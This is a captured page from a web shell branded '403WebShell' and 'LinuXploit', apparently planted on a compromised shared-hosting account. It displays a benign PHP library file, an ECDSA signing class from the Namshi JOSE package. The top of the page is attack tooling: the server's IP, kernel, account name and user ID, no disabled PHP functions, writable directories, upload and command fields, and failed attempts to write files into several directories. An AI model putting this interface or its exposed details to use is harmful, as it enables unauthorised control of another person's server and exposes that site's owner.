Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.108.87
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/vendor/namshi/jose/src/Namshi/JOSE/Signer/OpenSSL/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/vendor/namshi/jose/src/Namshi/JOSE/Signer/OpenSSL/ECDSA.php
<?php

namespace Namshi\JOSE\Signer\OpenSSL;

use phpseclib\File\ASN1;

/**
 * Class responsible to sign inputs with the a ECDSA algorithm, after hashing it.
 */
abstract class ECDSA extends PublicKey
{
    public function __construct()
    {
        if (version_compare(PHP_VERSION, '7.0.0-dev') >= 0) {
            throw new \InvalidArgumentException("phpseclib 1.0.0(LTS), even the latest 2.0.0, doesn't support PHP7 yet");
        }
    }

    /**
     * {@inheritdoc}
     */
    protected function supportsKey($key)
    {
        if (false === parent::supportsKey($key)) {
            return false;
        }

        // openssl_sign with EC keys was introduced in this PHP release
        $minVersions = array(
            '5.4' => '5.4.26',
            '5.5' => '5.5.10',
            '5.6' => '5.6.0',
        );

        if (isset($minVersions[PHP_MAJOR_VERSION.'.'.PHP_MINOR_VERSION]) &&
            version_compare(PHP_VERSION, $minVersions[PHP_MAJOR_VERSION.'.'.PHP_MINOR_VERSION], '<')) {
            return false;
        }

        $keyDetails = openssl_pkey_get_details($key);

        if (0 === preg_match('/-----BEGIN PUBLIC KEY-----([^-]+)-----END PUBLIC KEY-----/', $keyDetails['key'], $matches)) {
            return false;
        }
        $publicKey = trim($matches[1]);
        $asn1 = new ASN1();

        /*
         * http://tools.ietf.org/html/rfc3279#section-2.2.3
         * AlgorithmIdentifier ::= SEQUENCE {
         *     algorithm OBJECT IDENTIFIER,
         *     parameters ANY DEFINED BY algorithm OPTIONAL
         * }
         * For ECDSA Signature Algorithm:
         * algorithm: ansi-X9-62 => 1.2.840.10045.2.1
         * parameters: id-ecSigType => 1.2.840.10045.x.y.z
         *
         */
        $asnAlgorithmIdentifier = array(
            'type' => ASN1::TYPE_SEQUENCE,
            'children' => array(
                'ansi-X9-62' => array(
                    'type' => ASN1::TYPE_OBJECT_IDENTIFIER,
                ),
                'id-ecSigType' => array(
                    'type' => ASN1::TYPE_OBJECT_IDENTIFIER,
                ),
            ),
        );

        /*
         * http://tools.ietf.org/html/rfc5280#section-4.1
         * SubjectPublicKeyInfo ::= SEQUENCE {
         *     algorithm AlgorithmIdentifier,
         *     subjectPublicKey BIT STRING
         * }
         */
        $asnSubjectPublicKeyInfo = array(
            'type' => ASN1::TYPE_SEQUENCE,
            'children' => array(
                'algorithm' => $asnAlgorithmIdentifier,
                'subjectPublicKey' => array(
                    'type' => ASN1::TYPE_BIT_STRING,
                ),
            ),
        );

        $decoded = $asn1->decodeBER(base64_decode($publicKey));
        $mappedDetails = $asn1->asn1map($decoded[0], $asnSubjectPublicKeyInfo);

        return isset($mappedDetails['algorithm']['id-ecSigType']) ? $this->getSupportedECDSACurve() === $mappedDetails['algorithm']['id-ecSigType'] : false;
    }

    /**
     * {@inheritdoc}
     */
    protected function getSupportedPrivateKeyType()
    {
        return defined('OPENSSL_KEYTYPE_EC') ? OPENSSL_KEYTYPE_EC : false;
    }

    /**
     * Returns the ECDSA curve supported in this signer.
     *
     * @return string
     */
    abstract protected function getSupportedECDSACurve();
}

Youez - 2016 - github.com/yon3zu
LinuXploit